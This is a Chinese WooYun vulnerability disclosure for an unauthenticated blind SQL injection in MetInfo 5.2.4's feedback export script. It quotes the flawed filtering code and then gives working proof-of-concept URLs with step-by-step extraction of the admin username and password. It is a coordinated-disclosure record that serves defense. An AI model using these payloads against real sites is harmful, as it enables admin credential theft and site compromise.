当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-055338

漏洞标题:MetInfo最新版(5.2.4)一处SQL盲注漏洞

相关厂商:MetInfo

漏洞作者: Mody

提交时间:2014-04-02 17:50

修复时间:2014-07-01 17:51

公开时间:2014-07-01 17:51

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-02: 细节已通知厂商并且等待厂商处理中
2014-04-07: 厂商已经确认,细节仅向厂商公开
2014-04-10: 细节向第三方安全合作伙伴开放
2014-06-01: 细节向核心白帽子及相关领域专家公开
2014-06-11: 细节向普通白帽子公开
2014-06-21: 细节向实习白帽子公开
2014-07-01: 细节向公众公开

简要描述:

上周三挖了个metinfo的后台文件包含,被乌云大大给忽略了,好吧,我承认那个洞的确太难用了。。。今天刚挖到一处sql注入,就屁颠屁颠的来乌云提交了,求乌云大大给过,我不要继续当路人甲阿。。。还是上次那句话,貌似metinfo都交给cncert了,弱弱问下,那还有通用性奖励么?
WooYun回答:有!

详细说明:

借用 WooYun: metinfo多个漏洞(可getshell) 的一句话:审计代码我一般喜欢先看核心文件
1. 来看核心的文件admin/include/common.inc.php(下面的代码有我自己添加的调试代码)

/*
* added by mody
* glocal register
*/
//print '-----------global register----------<br>';
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);
/*
if(is_array($$_key)){
print '$'.$_key.'=';
print_r($$_key);
print '<br>';
}
else print '$'.$_key.'='.$$_key.';<br>';
*/
}
}
//print '-----------------------------------<br>';


注册全局变量,可以看到所有的变量都经过了daddslashes()过滤
2. 来看看daddslashes()函数,在文件admin/include/global.func.php

/*POST变量转换*/
function daddslashes($string, $force = 0 ,$sql_injection =0,$url =0){
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
}
if(is_array($string)){
if($url){
//$string='';
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
}else{
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
}
}else{
if(SQL_DETECT!=1 || $sql_injection==1){
$string = str_ireplace("\"","/",$string);
$string = str_ireplace("'","/",$string);
$string = str_ireplace("*","/",$string);
$string = str_ireplace("~","/",$string);
$string = str_ireplace("select", "\sel\ect", $string);
$string = str_ireplace("insert", "\ins\ert", $string);
$string = str_ireplace("update", "\up\date", $string);
$string = str_ireplace("delete", "\de\lete", $string);
$string = str_ireplace("union", "\un\ion", $string);
$string = str_ireplace("into", "\in\to", $string);
$string = str_ireplace("load_file", "\load\_\file", $string);
$string = str_ireplace("outfile", "\out\file", $string);
$string = str_ireplace("sleep", "\sle\ep", $string);
$string_html=$string;
$string = strip_tags($string);
if($string_html!=$string){
$string='';
}
$string = str_replace("%", "\%", $string); //
}
}
return $string;
}


可以看到,是能够传递array变量进来的(前台的include/include/global.func.php 不能)
3. 注入点admin/content/feedback/export.php,这里有亮点啊
这个文件包含了admin/include/common.inc.php,但是却没有进行login_check,所以导致这个文件能够不登录直接访问。如下:

<?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.
ob_start();
$depth='../';
require_once $depth.'../include/common.inc.php';
ob_clean();
ob_start();


接着他进行了一项很危险的操作:

foreach($settings_arr as $key=>$val){
if($val['columnid']==$class1){
$tingname =$val['name'].'_'.$val['columnid']; //这里导致变量名必须含有下划线的都可以被覆盖
$$val['name']=$$tingname;
}
}


其中,$settings_arr,$class1都可以在common.inc.php中被覆盖,这就导致可以构造一定格式的变量(变量名必须要有下划线)
那么,如何利用,我们来找下面的sql语句,总共有三句,找第一句即可

$query = "SELECT * FROM $met_parameter where module=8 and lang='$lang' order by no_order"; 
//>>>>注意,$met_parameter是在$settings_arr后被初始化的,不能直接覆盖,但是可以结合上面的危险操作,进行覆盖<<<<
//print $query.'<br>';
//die();
$result = $db->query($query);
while($list= $db->fetch_array($result)){
/*
print '<br><br>$list=';
print_r($list);
*/
$feedbackpara[$list['id']]=$list; // 注意这里的id
$feedback_para[]=$list;
}


/////////////////////////////
我是猥琐的poc(其中的met_admin_table的met为metinfo自定义的前缀,可以用户自定义)
http://localhost/MetInfo/admin/content/feedback/export.php?met_parameter_1=met_admin_table -- ;&class1=1&settings_arr[0][columnid]=1&settings_arr[0][name]=met_parameter
/////////////////////////////
对于查询的到的结果,会写入excel文件内,但是因为列名是规定得死死的,不能直接把admin_table表的password列直接写进excel,但是id是可以的,这就足够进行盲注了

漏洞证明:

验证漏洞的存在:
1. 其中met_为我实验环境metinfo的前缀(若要复线请根据实际情况修改), admin_id=0x61646d696e 为字符串'admin'(过滤了单引号)
http://localhost/MetInfo/admin/content/feedback/export.php?met_parameter_1=met_admin_table where admin_id=0x61646d696e -- ;&class1=1&settings_arr[0][columnid]=1&settings_arr[0][name]=met_parameter
然后测试一组错误的,把'admin'改成'admil'试试
http://localhost/MetInfo/admin/content/feedback/export.php?met_parameter_1=met_admin_table where admin_id=0x61646d696c -- ;&class1=1&settings_arr[0][columnid]=1&settings_arr[0][name]=met_parameter
结果对比图如下

1.png


2.png


可以看到两个文件的大小是不一样滴,给大家看看这个excel里到底有啥区别

3.png


step1:暴力破解metinfo前缀
用brup进行破解,这个不用我多解释了把,根据返回大小
http://localhost/MetInfo/admin/content/feedback/export.php?met_parameter_1=met_admin_table -- ;&class1=1&settings_arr[0][columnid]=1&settings_arr[0][name]=met_parameter
step2: 破解admin账户
还是brup,用substr 一个个来
http://localhost/MetInfo/admin/content/feedback/export.php?met_parameter_1=met_admin_table where substr(admin_id,1,1)=0x61 -- ;&class1=1&settings_arr[0][columnid]=1&settings_arr[0][name]=met_parameter
step3:破解admin密码
同上
http://localhost/MetInfo/admin/content/feedback/export.php?met_parameter_1=met_admin_table where admin_id=0x61646d696e and substr(admin_pass,1,1)=0x32 -- ;&class1=1&settings_arr[0][columnid]=1&settings_arr[0][name]=met_parameter

修复方案:

1. include check_login
2. export.php的那个危险的$$注意下
3. 打赏点rank吧,我不用当路人甲阿。。。

版权声明:转载请注明来源 Mody@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2014-04-07 08:33

厂商回复:

最新状态:

暂无